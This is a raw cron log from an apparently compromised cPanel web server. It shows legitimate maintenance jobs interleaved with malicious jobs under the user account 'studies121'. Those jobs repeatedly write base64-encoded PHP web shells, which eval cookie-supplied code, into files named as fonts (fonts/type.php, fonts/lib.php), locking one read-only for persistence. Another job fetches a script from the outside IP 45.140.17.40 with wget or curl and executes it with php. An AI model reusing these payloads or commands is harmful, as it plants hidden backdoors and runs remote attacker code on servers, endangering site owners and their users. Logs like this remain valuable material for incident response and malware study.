Sep  8 21:19:01 ip-184-168-122-23 CROND[25743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:19:01 ip-184-168-122-23 CROND[25746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:20:01 ip-184-168-122-23 CROND[25846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:20:01 ip-184-168-122-23 CROND[25847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:20:01 ip-184-168-122-23 CROND[25850]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 21:20:01 ip-184-168-122-23 CROND[25848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:20:01 ip-184-168-122-23 CROND[25845]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 21:20:01 ip-184-168-122-23 CROND[25844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:20:01 ip-184-168-122-23 CROND[25849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:20:01 ip-184-168-122-23 CROND[25851]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:20:01 ip-184-168-122-23 CROND[25856]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:21:01 ip-184-168-122-23 CROND[25956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:21:01 ip-184-168-122-23 CROND[25955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:21:01 ip-184-168-122-23 CROND[25954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:21:01 ip-184-168-122-23 CROND[25957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:22:01 ip-184-168-122-23 CROND[26040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:22:01 ip-184-168-122-23 CROND[26039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:22:01 ip-184-168-122-23 CROND[26043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:22:01 ip-184-168-122-23 CROND[26045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:22:01 ip-184-168-122-23 CROND[26046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:23:01 ip-184-168-122-23 CROND[26222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:23:01 ip-184-168-122-23 CROND[26224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:23:01 ip-184-168-122-23 CROND[26225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:23:01 ip-184-168-122-23 CROND[26226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:24:01 ip-184-168-122-23 CROND[26317]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:24:01 ip-184-168-122-23 CROND[26321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:24:01 ip-184-168-122-23 CROND[26319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:24:01 ip-184-168-122-23 CROND[26320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:24:01 ip-184-168-122-23 CROND[26322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:25:01 ip-184-168-122-23 CROND[26416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:25:01 ip-184-168-122-23 CROND[26418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:25:01 ip-184-168-122-23 CROND[26419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:25:01 ip-184-168-122-23 CROND[26420]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:25:01 ip-184-168-122-23 CROND[26421]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:25:01 ip-184-168-122-23 CROND[26423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:26:01 ip-184-168-122-23 CROND[26508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:26:01 ip-184-168-122-23 CROND[26510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:26:01 ip-184-168-122-23 CROND[26512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:26:01 ip-184-168-122-23 CROND[26511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:26:01 ip-184-168-122-23 CROND[26513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:27:01 ip-184-168-122-23 CROND[26602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:27:02 ip-184-168-122-23 CROND[26604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:27:02 ip-184-168-122-23 CROND[26608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:27:02 ip-184-168-122-23 CROND[26607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:28:01 ip-184-168-122-23 CROND[26784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:28:01 ip-184-168-122-23 CROND[26786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:28:01 ip-184-168-122-23 CROND[26787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:28:01 ip-184-168-122-23 CROND[26788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:28:01 ip-184-168-122-23 CROND[26789]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:29:01 ip-184-168-122-23 CROND[26871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:29:01 ip-184-168-122-23 CROND[26873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:29:01 ip-184-168-122-23 CROND[26874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:29:01 ip-184-168-122-23 CROND[26875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:30:01 ip-184-168-122-23 CROND[26967]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 21:30:01 ip-184-168-122-23 CROND[26968]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:30:01 ip-184-168-122-23 CROND[26972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:30:01 ip-184-168-122-23 CROND[26976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:30:01 ip-184-168-122-23 CROND[26975]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:30:01 ip-184-168-122-23 CROND[26973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:30:01 ip-184-168-122-23 CROND[26974]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:30:01 ip-184-168-122-23 CROND[26978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:31:01 ip-184-168-122-23 CROND[27076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
